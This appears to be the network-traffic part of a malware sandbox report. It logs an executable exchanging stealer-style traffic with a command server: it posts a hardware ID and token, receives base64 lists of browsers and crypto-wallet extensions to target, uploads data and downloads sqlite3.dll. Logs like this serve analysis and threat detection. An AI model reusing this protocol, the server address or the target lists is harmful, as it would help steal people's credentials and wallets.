Oct 24, 2024 02:50:27.525420904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:27.821284056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:27.821301937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:27.821329117 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:27.821346998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:27.821355104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:27.821372032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:27.821388960 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:27.821388960 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:27.821391106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:27.821414948 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:27.821418047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:27.821433067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:27.821484089 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:27.824915886 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:27.830233097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:28.609394073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:28.609474897 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:33.771104097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 02:50:33.771608114 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 02:50:35.028829098 CEST	49704	80	192.168.2.5	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.37	80	764	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 02:50:06.743374109 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 02:50:07.648885965 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 00:50:07 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 02:50:07.651711941 CEST	411	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IECGIEBAEBFIIECBGCBG Host: 185.215.113.37 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 43 47 49 45 42 41 45 42 46 49 49 45 43 42 47 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 44 43 37 31 39 41 34 31 30 42 42 38 38 33 38 38 34 31 37 39 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 47 49 45 42 41 45 42 46 49 49 45 43 42 47 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 47 49 45 42 41 45 42 46 49 49 45 43 42 47 43 42 47 2d 2d 0d 0a Data Ascii: ------IECGIEBAEBFIIECBGCBGContent-Disposition: form-data; name="hwid"FDC719A410BB883884179------IECGIEBAEBFIIECBGCBGContent-Disposition: form-data; name="build"doma------IECGIEBAEBFIIECBGCBG--
Oct 24, 2024 02:50:07.951153040 CEST	407	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 00:50:07 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 7a 4d 30 59 7a 51 32 4f 44 5a 6b 5a 6a 55 30 4e 54 49 32 5a 6d 55 31 4d 47 55 30 4e 54 41 32 4e 6a 63 77 4e 54 4a 68 59 54 52 6c 59 54 42 69 5a 6a 4d 31 59 6d 4a 6d 4d 47 46 68 4e 6a 4d 78 4e 54 4e 6d 4e 47 4e 6a 4d 44 56 6d 4e 6d 52 6a 4f 54 55 30 4d 6a 67 30 4d 32 55 77 5a 57 55 79 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: YzM0YzQ2ODZkZjU0NTI2ZmU1MGU0NTA2NjcwNTJhYTRlYTBiZjM1YmJmMGFhNjMxNTNmNGNjMDVmNmRjOTU0Mjg0M2UwZWUyfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 24, 2024 02:50:07.952208996 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFBKKFBAEGDHJJJJKFBK Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 42 4b 4b 46 42 41 45 47 44 48 4a 4a 4a 4a 4b 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 33 34 63 34 36 38 36 64 66 35 34 35 32 36 66 65 35 30 65 34 35 30 36 36 37 30 35 32 61 61 34 65 61 30 62 66 33 35 62 62 66 30 61 61 36 33 31 35 33 66 34 63 63 30 35 66 36 64 63 39 35 34 32 38 34 33 65 30 65 65 32 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 4b 4b 46 42 41 45 47 44 48 4a 4a 4a 4a 4b 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 4b 4b 46 42 41 45 47 44 48 4a 4a 4a 4a 4b 46 42 4b 2d 2d 0d 0a Data Ascii: ------AFBKKFBAEGDHJJJJKFBKContent-Disposition: form-data; name="token"c34c4686df54526fe50e450667052aa4ea0bf35bbf0aa63153f4cc05f6dc9542843e0ee2------AFBKKFBAEGDHJJJJKFBKContent-Disposition: form-data; name="message"browsers------AFBKKFBAEGDHJJJJKFBK--
Oct 24, 2024 02:50:08.234503031 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 00:50:08 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Oct 24, 2024 02:50:08.234560966 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Oct 24, 2024 02:50:08.235888004 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEBKKEGDBFIIEBFHIEHC Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 4b 4b 45 47 44 42 46 49 49 45 42 46 48 49 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 33 34 63 34 36 38 36 64 66 35 34 35 32 36 66 65 35 30 65 34 35 30 36 36 37 30 35 32 61 61 34 65 61 30 62 66 33 35 62 62 66 30 61 61 36 33 31 35 33 66 34 63 63 30 35 66 36 64 63 39 35 34 32 38 34 33 65 30 65 65 32 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 4b 45 47 44 42 46 49 49 45 42 46 48 49 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 4b 45 47 44 42 46 49 49 45 42 46 48 49 45 48 43 2d 2d 0d 0a Data Ascii: ------JEBKKEGDBFIIEBFHIEHCContent-Disposition: form-data; name="token"c34c4686df54526fe50e450667052aa4ea0bf35bbf0aa63153f4cc05f6dc9542843e0ee2------JEBKKEGDBFIIEBFHIEHCContent-Disposition: form-data; name="message"plugins------JEBKKEGDBFIIEBFHIEHC--
Oct 24, 2024 02:50:08.518373966 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 00:50:08 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 24, 2024 02:50:08.518424988 CEST	112	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtp
Oct 24, 2024 02:50:08.518456936 CEST	1236	IN	Data Raw: 63 47 68 6c 5a 57 6c 71 61 57 31 6b 63 47 35 73 63 47 64 77 63 48 77 78 66 44 42 38 4d 48 78 4c 5a 58 42 73 63 6e 78 6b 62 57 74 68 62 57 4e 72 62 6d 39 6e 61 32 64 6a 5a 47 5a 6f 61 47 4a 6b 5a 47 4e 6e 61 47 46 6a 61 47 74 6c 61 6d 56 68 63 48 Data Ascii: cGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9
Oct 24, 2024 02:50:08.518493891 CEST	212	IN	Data Raw: 61 6d 39 38 4d 58 77 77 66 44 42 38 55 32 39 73 5a 6d 78 68 63 6d 55 67 56 32 46 73 62 47 56 30 66 47 4a 6f 61 47 68 73 59 6d 56 77 5a 47 74 69 59 58 42 68 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a 66 44 46 38 4d 48 Data Ascii: am98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8
Oct 24, 2024 02:50:08.518533945 CEST	1236	IN	Data Raw: 56 47 56 36 51 6d 39 34 66 47 31 75 5a 6d 6c 6d 5a 57 5a 72 59 57 70 6e 62 32 5a 72 59 32 70 72 5a 57 31 70 5a 47 6c 68 5a 57 4e 76 59 32 35 72 61 6d 56 6f 66 44 46 38 4d 48 77 77 66 46 52 6c 62 58 42 73 5a 58 78 76 62 32 74 71 62 47 4a 72 61 57 Data Ascii: VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGpua2VsZmFuamtlYWRvbmVjYWJlaGFsbWJncGZvZGptfDF8MHwwfFJvbmluIFdhbGxldHxram1vb2hsZ29rY2NvZGljampmZWJmb21sYmxqZ2Zoa3w
Oct 24, 2024 02:50:08.518568039 CEST	1236	IN	Data Raw: 61 57 70 74 5a 32 35 73 62 57 70 6c 5a 57 64 71 59 57 64 73 62 57 56 77 59 6d 31 77 61 33 42 70 66 44 46 38 4d 48 77 77 66 46 52 79 5a 58 70 76 63 69 42 51 59 58 4e 7a 64 32 39 79 5a 43 42 4e 59 57 35 68 5a 32 56 79 66 47 6c 74 62 47 39 70 5a 6d Data Ascii: aWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGhpZ29vb2FkZGlucGtiYWl8MXwwfDB8QXV0aHl8Z2FlZG1qZGZtbWFoaGJqZWZjYmdhb2xoaGFubGF
Oct 24, 2024 02:50:08.518604994 CEST	1236	IN	Data Raw: 61 57 4a 73 61 33 77 77 66 44 42 38 4d 58 78 55 63 6e 56 7a 64 43 42 58 59 57 78 73 5a 58 52 38 5a 57 64 71 61 57 52 71 59 6e 42 6e 62 47 6c 6a 61 47 52 6a 62 32 35 6b 59 6d 4e 69 5a 47 35 69 5a 57 56 77 63 47 64 6b 63 47 68 38 4d 58 77 77 66 44 Data Ascii: aWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWluYm93IFdhbGxldHxvcGZnZWxtY21iaWFqYW1lcG5tbG9pamJwb2xlaWFtYXwxfDB8MHxOaWdodGx
Oct 24, 2024 02:50:08.518642902 CEST	840	IN	Data Raw: 62 57 70 69 59 6d 39 6e 5a 6d 6c 70 59 57 39 6d 63 47 68 69 61 6d 64 6a 61 47 68 38 4d 58 77 77 66 44 42 38 56 6d 56 75 62 32 30 67 56 32 46 73 62 47 56 30 66 47 39 71 5a 32 64 74 59 32 68 73 5a 32 68 75 61 6d 78 68 63 47 31 6d 59 6d 35 71 61 47 Data Ascii: bWpiYm9nZmlpYW9mcGhiamdjaGh8MXwwfDB8VmVub20gV2FsbGV0fG9qZ2dtY2hsZ2huamxhcG1mYm5qaG9sZmpraWlkYmNofDF8MHwwfFB1bHNlIFdhbGxldCBDaHJvbWl1bXxjaW9qb2Nwa2NsZmZsb21iYmNmaWdjaWpqY2JrbWhhZnwxfDB8MHxNYWdpYyBFZGVuIFdhbGxldHxta3BlZ2prYmxra2VmYWNmbm1rYWpjam1
Oct 24, 2024 02:50:08.598133087 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCGIJKJJKEBGHJKFIDGC Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 33 34 63 34 36 38 36 64 66 35 34 35 32 36 66 65 35 30 65 34 35 30 36 36 37 30 35 32 61 61 34 65 61 30 62 66 33 35 62 62 66 30 61 61 36 33 31 35 33 66 34 63 63 30 35 66 36 64 63 39 35 34 32 38 34 33 65 30 65 65 32 0d 0a 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 2d 2d 0d 0a Data Ascii: ------FCGIJKJJKEBGHJKFIDGCContent-Disposition: form-data; name="token"c34c4686df54526fe50e450667052aa4ea0bf35bbf0aa63153f4cc05f6dc9542843e0ee2------FCGIJKJJKEBGHJKFIDGCContent-Disposition: form-data; name="message"fplugins------FCGIJKJJKEBGHJKFIDGC--
Oct 24, 2024 02:50:08.879873037 CEST	335	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 00:50:08 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 24, 2024 02:50:08.909364939 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCFBAFIDAECAKFHJDBAF Host: 185.215.113.37 Content-Length: 7907 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 02:50:08.909420013 CEST	7907	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 43 46 42 41 46 49 44 41 45 43 41 4b 46 48 4a 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 33 34 63 34 36 Data Ascii: ------HCFBAFIDAECAKFHJDBAFContent-Disposition: form-data; name="token"c34c4686df54526fe50e450667052aa4ea0bf35bbf0aa63153f4cc05f6dc9542843e0ee2------HCFBAFIDAECAKFHJDBAFContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 24, 2024 02:50:09.721626997 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 00:50:09 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 02:50:10.053775072 CEST	93	OUT	GET /0d60be0de163924d/sqlite3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 24, 2024 02:50:10.333664894 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 00:50:10 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 